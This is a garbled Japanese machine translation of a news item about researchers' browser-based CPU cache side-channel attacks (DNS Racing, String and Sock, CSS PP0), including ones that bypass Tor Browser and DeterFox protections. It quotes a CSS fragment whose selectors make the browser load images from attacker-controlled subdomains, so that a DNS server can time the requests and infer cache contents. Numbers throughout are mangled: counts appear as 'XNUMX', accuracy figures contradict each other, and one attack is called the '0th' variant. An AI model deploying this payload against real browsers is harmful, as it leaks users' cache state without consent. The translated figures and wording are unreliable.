JavaScriptを使用しないWebブラウザで実行されるCPUキャッシュ抽出攻撃

アメリカ、イスラエル、オーストラリアのいくつかの大学の研究者チームは、Web ブラウザ上で実行され、プロセッサ キャッシュの内容に関する情報を抽出する XNUMX つの攻撃を開発しました。 XNUMX つの方法は JavaScript を使用しないブラウザで機能し、他の XNUMX つの方法は、Tor ブラウザや DeterFox で使用されているものを含む、サイドチャネル攻撃に対する既存の保護方法をバイパスします。 攻撃をデモンストレーションするためのコードと、攻撃に必要なサーバー コンポーネントは GitHub で公開されています。

キャッシュの内容を分析するために、すべての攻撃は Prime+Probe 方式を使用します。これには、標準の値セットをキャッシュに充填し、再充填するときにそれらへのアクセス時間を測定することで変更を検出することが含まれます。 正確な時間測定を妨げるブラウザに存在するセキュリティ メカニズムをバイパスするには、攻撃者が制御する DNS または WebSocket サーバーにアピールし、リクエストの受信時刻のログを保存する XNUMX つのオプションがあります。 一実施形態では、固定のDNS応答時間が時間基準として使用される。

外部の DNS または WebSocket サーバーを使用して、機械学習に基づく分類システムを使用して行われた測定は、最適なシナリオ (平均 98 ~ 80%) で最大 90% の精度で値を予測するのに十分でした。 この攻撃手法はさまざまなハードウェア プラットフォーム (Intel、AMD Ryzen、Apple M1、Samsung Exynos) でテストされ、普遍的であることが証明されています。

JavaScriptを使用しないWebブラウザで実行されるCPUキャッシュ抽出攻撃

DNS Racing 攻撃の最初の亜種では、JavaScript 配列を使用した Prime+Probe メソッドの従来の実装が使用されます。 違いは、外部の DNS ベースのタイマーと、存在しないドメインからイメージを読み込もうとしたときにトリガーされる onerror ハンドラーの使用に要約されます。 外部タイマーにより、JavaScript タイマーへのアクセスを制限または完全に無効にするブラウザに対する Prime+Probe 攻撃が可能になります。

同じイーサネット ネットワーク上にある DNS サーバーの場合、タイマーの精度は約 2 ミリ秒であると推定され、これはサイドチャネル攻撃を実行するのに十分です (比較のために、Tor ブラウザの標準 JavaScript タイマーの精度は次のとおりです)。 100ミリ秒に短縮されます)。 この攻撃では、DNS サーバーの制御は必要ありません。これは、DNS からの応答時間がチェックの早期完了の兆候となるように操作の実行時間が選択されるためです (onerror ハンドラーがトリガーされたかどうかに応じて異なります)。キャッシュを使用したチェック操作の速度については、遅かれ早かれ結論が導き出されます)。

XNUMX 番目の攻撃手法「String and Sock」は、JavaScript での配列の低レベルの使用を制限するセキュリティ技術をバイパスすることを目的としています。 String と Sock は配列の代わりに、非常に大きな文字列に対する演算を使用します。そのサイズは、変数が LLC キャッシュ (最終レベル キャッシュ) 全体をカバーするように選択されます。 次に、indexOf() 関数を使用して、文字列内で最初はソース文字列に存在しない小さな部分文字列が検索されます。 検索操作の結果、文字列全体が反復処理されます。 ライン サイズは LLC キャッシュのサイズに対応するため、スキャンにより配列を操作せずにキャッシュ チェック操作を実行できます。 遅延を測定するには、DNS の代わりに、攻撃者が制御する WebSocket サーバーへの呼び出しが行われます。検索操作の完了前後にクエリが送信され、それに基づいてサーバーはキャッシュの分析に使用される遅延を計算します。コンテンツ。

「CSS PP0」攻撃の 0 番目の亜種は HTML と CSS を通じて実装され、JavaScript が無効になっているブラウザでも動作します。 このメソッドは「String and Sock」に似ていますが、JavaScript に関連付けられていません。 攻撃中に、マスクによって検索する一連の CSS セレクターが生成されます。 キャッシュを満たす最初の大きな文字列は、非常に大きなクラス名を持つ div タグを作成することによって設定されます。 内部には、独自の識別子を持つ他の div のセットがあります。 これらのネストされた div にはそれぞれ、部分文字列を検索するセレクターを備えた独自のスタイルがあります。 ページをレンダリングするとき、ブラウザーは最初に内部 div を処理しようとし、その結果、大きな行に対する検索操作が行われます。 検索は意図的に欠落したマスクを使用して実行され、行全体を反復処理することになります。その後、「not」条件がトリガーされ、ランダムなドメインを参照する背景画像のロードが試行されます。 #pp:not([class*=’xjtoxg’]) #s1 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s0 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … バツバツ...

サブドメインは攻撃者の DNS サーバーによって提供され、リクエスト受信の遅延を測定できます。 DNS サーバーはすべてのリクエストに対して NXDOMAIN を発行し、リクエストの正確な時刻のログを保存します。 一連の div を処理した結果、攻撃者の DNS サーバーは一連のリクエストを受信します。リクエスト間の遅延は、キャッシュの内容のチェック結果と相関します。

JavaScriptを使用しないWebブラウザで実行されるCPUキャッシュ抽出攻撃


出所: オープンネット.ru

コメントを追加します